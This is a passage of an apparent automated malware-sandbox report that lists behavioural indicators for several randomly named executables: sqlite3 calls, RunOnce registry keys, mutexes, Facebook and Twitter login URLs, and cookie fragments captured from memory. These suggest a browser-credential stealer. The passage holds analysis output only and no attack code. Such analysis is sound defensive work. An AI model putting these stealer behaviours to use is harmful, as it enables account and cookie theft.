"00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")3a:T76a,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "a56da099e59801bac606963e44684336") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "a56da099e59801bac606963e44684336") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "a56da099e59801bac606963e44684336") Found reference to API "LockResource" (Indicator: "LockResource"; File: "a56da099e59801bac606963e44684336") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "a56da099e59801bac606963e44684336") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")3b:T83e,"sqlite3.dll" contains export function called "sqlite3_activate_cerod" at ordinal 1 "sqlite3.dll" contains export function called "sqlite3_activate_see" at ordinal 2 "sqlite3.dll" contains export function called "sqlite3_aggregate_context" at ordinal 3 "sqlite3.dll" contains export function called "sqlite3_auto_extension" at ordinal 4 "sqlite3.dll" contains export function called "sqlite3_backup_finish" at ordinal 5 "sqlite3.dll" contains export function called "sqlite3_backup_init" at ordinal 6 "sqlite3.dll" contains export function called "sqlite3_backup_pagecount" at ordinal 7 "sqlite3.dll" contains export function called "sqlite3_backup_remaining" at ordinal 8 "sqlite3.dll" contains export function called "sqlite3_backup_step" at ordinal 9 "sqlite3.dll" contains export function called "sqlite3_bind_blob" at ordinal 10 "sqlite3.dll" contains export function called "sqlite3_bind_blob64" at ordinal 11 "sqlite3.dll" contains export function called "sqlite3_bind_double" at ordinal 12 "sqlite3.dll" contains export function called "sqlite3_bind_int" at ordinal 13 "sqlite3.dll" contains export function called "sqlite3_bind_int64" at ordinal 14 "sqlite3.dll" contains export function called "sqlite3_bind_null" at ordinal 15 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_count" at ordinal 16 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_index" at ordinal 17 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_name" at ordinal 18 "sqlite3.dll" contains export function called "sqlite3_bind_pointer" at ordinal 19 "sqlite3.dll" contains export function called "sqlite3_bind_text" at ordinal 20 "sqlite3.dll" contains export function called "sqlite3_bind_text64" at ordinal 21 "sqlite3.dll" contains export function called "sqlite3_bind_value" at ordinal 22 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob" at ordinal 23 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob64" at ordinal 24 "sqlite3.dll" contains export function called "sqlite3_blob_bytes" at ordinal 253c:T484,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: a56da099e59801bac606963e44684336 "DSystem\CurrentControlSet\Control\Session Manager" in Source: a56da099e59801bac606963e44684336 "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: a56da099e59801bac606963e44684336 "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: a56da099e59801bac606963e44684336 "System\CurrentControlSet\Control\Session Manager" in Source: 11087-17-0040256D "ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000296.00000001.68505.00280000.00000004.mdmp 00000000-00000296.00000002.70430.00280000.00000004.mdmp 00000000-00000296.00000003.76186.00280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00000296.00000003.76186.013A1000.00000020.mdmp "ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000480.00000000.66549.003A0000.00000004.mdmp 00000000-00000480.00000003.76536.003A0000.00000004.mdmp3d:T53b,"\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_2520" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\IsoScope_9d8_IE_EarlyTabStart_0xe7c_Mutex" "\Sessions\1\BaseNamedObjects\IsoScope_9d8_ConnHashTable<2520>_HashTable_Mutex" "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" "\Sessions\1\BaseNamedObjects\IsoScope_9d8_IESQMMUTEX_0_303" "\Sessions\1\BaseNamedObjects\IsoScope_9d8_IESQMMUTEX_0_331" "\Sessions\1\BaseNamedObjects\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" "{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" "Local\!BrowserEmulation!SharedMemory!Mutex" "Local\ZonesLockedCacheCounterMutex" "IsoScope_9d8_ConnHashTable<2520>_HashTable_Mutex" "Local\ZonesCacheCounterMutex" "UpdatingNewTabPageData" "Local\VERMGMTBlockListFileMutex" "{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" "Local\URLBLOCK_HASHFILESWITCH_MUTEX" "IsoScope_9d8_IESQMMUTEX_0_331" "IsoScope_9d8_IESQMMUTEX_0_303" "Local\URLBLOCK_DOWNLOAD_MUTEX"3e:T1341,"Qv9nk40.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "Qv9nk40.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1va32uO2.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "1va32uO2.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%TEMP%\IXP002.TMP\sqlite3" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%TEMP%\IXP002.TMP\setupapi.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%TEMP%\IXP002.TMP\winbrand.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "4Du834Zv.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "6RL4Tz0.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "6RL4Tz0.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135]3f:T683,Observed unmanaged function "sqlite3_backup_init" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_backup_step" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_backup_finish" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_backup_remaining" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_backup_pagecount" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_blob" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_double" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_int" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_int64" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_null" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_parameter_index" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_bind_text" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_busy_timeout" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_close_v2" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_blob" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_bytes" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_count" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_decltype" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_double" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_int64" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_name" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_text" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_column_type" in "4Du834Zv.exe" Observed unmanaged function "sqlite3_config" in "4Du834Zv.exe"40:T9a6,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "a56da099e59801bac606963e44684336") Found string "https://twitter.com/i/flow/login" (Indicator: "twitter"; File: "a56da099e59801bac606963e44684336") file/memory contains long string with (Indicator: "twitter"; File: "HXCZF8B9.txt") file/memory contains long string with (Indicator: "twitter"; File: "47YBMRPP.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "B23930QO.txt") Found string "0jCVY9TbvkneJCTip..BliXmi.Oc.AAA.0.0.BliXmi.AWVbINMEg-4facebook.com/9217121829708831096297178800731831078184onmJZepigLrlz_R9hpBOpPEqfacebook.com/9217276275123231158658179455933031078184" (Indicator: "facebook.com"; File: "A7WEABC6.txt") Found string "guest_id_marketingv1%3A170350838326135078twitter.com/1025132880627231225043174043925631078184guest_id_adsv1%3A170350838326135078twitter.com/1025132880627231225043178348331031078184" (Indicator: "twitter"; File: "NCS0GKX4.txt") Found string "0jCVY9TbvkneJCTip..BliXmi.Oc.AAA.0.0.BliXmi.AWVbINMEg-4facebook.com/9217121829708831096297178800731831078184" (Indicator: "facebook.com"; File: "3WU4ZTVC.txt") Found string "guest_id_marketingv1%3A170350838326135078twitter.com/1025132880627231225043174043925631078184" (Indicator: "twitter"; File: "DBSFGI0R.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "VCHJ0Z1T.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-Alive" (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")41:T3578,"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 566 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:14 GMT Last-Modified: Mon 25 Dec 2023 12:36:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2593 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:14 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 715 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:14 GMT Last-Modified: Mon 25 Dec 2023 12:34:19 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 25 Dec 2023 12:03:01 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 2594 Cache-Control: max-age=7200 Date: Mon 25 Dec 2023 12:46:15 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2594 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:15 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2595 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:16 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2596 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:17 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: o.ss2.us" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 2065 Connection: keep-alive Server: Sucuri/Cloudproxy Date: Mon 25 Dec 2023 03:46:32 GMT X-Sucuri-ID: 11041 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Mon 25 Dec 2023 02:32:05 GMT Expires: Tue 26 Dec 2023 02:32:05 GMT ETag: "24b768558e9d3777e20a334db4a04949163653cb" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT X-Cache: Hit from cloudfront Via: 1.1 236197b1350688f238411607ca197958.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO20-C1 X-Amz-Cf-Id: kAjxzPHgCeDMoDRCXIP2lkElelTaQGN_d_PJNYiu4V83vGkOV6hZrA== Age: 32385 with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 718 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:17 GMT Last-Modified: Mon 25 Dec 2023 12:34:19 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2387 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:17 GMT Last-Modified: Mon 25 Dec 2023 12:06:30 GMT Server: ECAcc (sac/253E) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 25 Dec 2023 12:03:01 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 2597 Cache-Control: max-age=7200 Date: Mon 25 Dec 2023 12:46:18 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 25 Dec 2023 12:03:01 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 2598 Cache-Control: max-age=7200 Date: Mon 25 Dec 2023 12:46:19 GMT Last-Modified: Mon 25 Dec 2023 12:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6174 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:20 GMT Last-Modified: Mon 25 Dec 2023 11:03:26 GMT Server: ECAcc (sac/254F) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1548 Connection: keep-alive Date: Mon 25 Dec 2023 11:54:51 GMT Last-Modified: Mon 25 Dec 2023 11:54:51 GMT ETag: 9ef22fcec5cf4a6c2c6ccce94e99b96094a64976 Expires: Mon 01 Jan 2024 11:54:51 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAQhMPexOPTAYsl3zILaFNw%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4854 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:21 GMT Last-Modified: Mon 25 Dec 2023 11:25:27 GMT Server: ECAcc (sac/2559) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3907 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:22 GMT Last-Modified: Mon 25 Dec 2023 11:41:15 GMT Server: ECAcc (sac/253A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B76BA2EAA8AA848C79EAB4DA0F98B2C59576B9F4180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 231 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:22 GMT Last-Modified: Mon 25 Dec 2023 12:42:32 GMT Server: ECAcc (sac/2505) X-Cache: HIT Content-Length: 471 with response body 